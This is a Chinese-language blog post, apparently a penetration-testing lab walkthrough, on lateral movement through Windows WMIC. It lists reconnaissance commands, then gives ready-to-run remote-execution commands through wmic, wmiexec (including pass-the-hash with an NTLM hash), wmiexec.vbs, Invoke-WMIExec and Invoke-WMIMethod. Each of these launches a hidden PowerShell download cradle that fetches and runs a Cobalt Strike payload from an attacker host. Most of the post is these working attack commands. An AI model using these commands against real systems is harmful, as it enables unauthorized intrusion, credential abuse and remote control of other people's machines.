WMIC远程执行命令横向移动

WMIC远程执行命令横向移动

一、wmic介绍

wmic扩展wmi(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行接口和批处理脚本执行系统管理的支持。

wmic命令需要本地管理员或域管理员才可以进行正常使用,普通权限用户若想要使用wmi,可以修改普通用户的ACL,不过修改用户的ACL也需要管理员权限,普通用户使用wmic。

二、wmic常用命令

wmic logon list brief 登录⽤户
wmic ntdomain list brief 域控机器
wmic useraccount list brief ⽤户列表
wmic share get name,path 查看系统共享
wmic service list brief |more 服务列表
wmic startup list full 识别开机启动的程序,包括路径

wmic调用cmd
执行命令并且输出
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c ipconfig >c:\ip.txt"

列出远程主机进程
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief

在远程系统上执行bat脚本
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create c:\programdata\test.bat

执行powershell上线
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('ps脚本地址'))\""

三、wmic配合powershell上线CS

1、使用cs生成powershell脚本

shell whoami /all

2、wmic进行上线,用http服务下载payload.ps1

shell wmic /node:192.168.142.10 /user:administrator /password:admin@123 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.142.1/payload.ps1'))\""

3、等待上线

四、Wmiexec配合powershell上线CS

wmiexec是一个即有全交互也有半交互的远程命令执行工具,有python版本的pe版本可运用于多种环 境,包括webshell环境、rdp环境、socks环境等

1、使用账号密码登录进行powershell上线

wmiexec.exe administrator:admin@123@192.168.142.10 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.142.1/payload.ps1'))"

2、使用hash上线

wmiexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4 administrator@192.168.142.10 "powershell.exe -nop -w hidden -c IEX ((new-object
net.webclient).downloadstring('http://192.168.142.1/payload.ps1'))"

五、wmiexec.vbs配合powershell上线CS

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显, 获取远程主机的半交互式Shell。wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。用法如下:

cscript.exe //nologo wmiexec.vbs /cmd IP 用户 密码 "命令"

1、使用账号密码登录进行powershell上线

cscript.exe //nologo wmiexec.vbs /cmd 192.168.142.10 administrator admin@123 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.142.1/payload.ps1'))"

六、Invoke-WMIExec.ps1配合powershell上线CS

Invoke-WMIExec是一个powershell脚本在Invoke-TheHash的文件中。用法如下:

Invoke-WMIExec -Target IP -Domain 域 -Username 用户 -Hash hash -Command "calc.exe" -verbose

1、采用远程无文件落地的方式(未成功)

shell powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.142.1/Invoke-WMIExec.ps1');import-module .\Invoke-WMIExec.ps1;Invoke-WMIExec -Target 192.168.142.10 -Username administrator -Hash 579da618cfbfa85247acf1f800a280a4 -Command "powershell.exe -nop -WarningVariable hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.142.1/payload.ps1'))" -verbose

2、CS导入powershell脚本

(1)导入脚本

powershell-import powershell/Invoke-WMIExec.ps1

(2)运行上线命令

powershell Invoke-WMIExec -Target 192.168.142.10 -Username administrator -Hash 579da618cfbfa85247acf1f800a280a4 -Command "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.142.1/payload.ps1'))" -verbose

七、Invoke-WMIMethod.ps1上线CS

注意:需要用到远程桌面。

该模块为Powershell内置模块,以下为示例,可以自由组合命令进行测试。

$User = "administrator"

$Password= ConvertTo-SecureString -String "admin@123" -AsPlainText -Force

$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password

Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe
-nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.142.1/payload.ps1'))" -ComputerName "192.168.142.10" -Credential $Cred
posted @ 2023-06-12 20:56  candada  阅读(639)  评论(0编辑  收藏  举报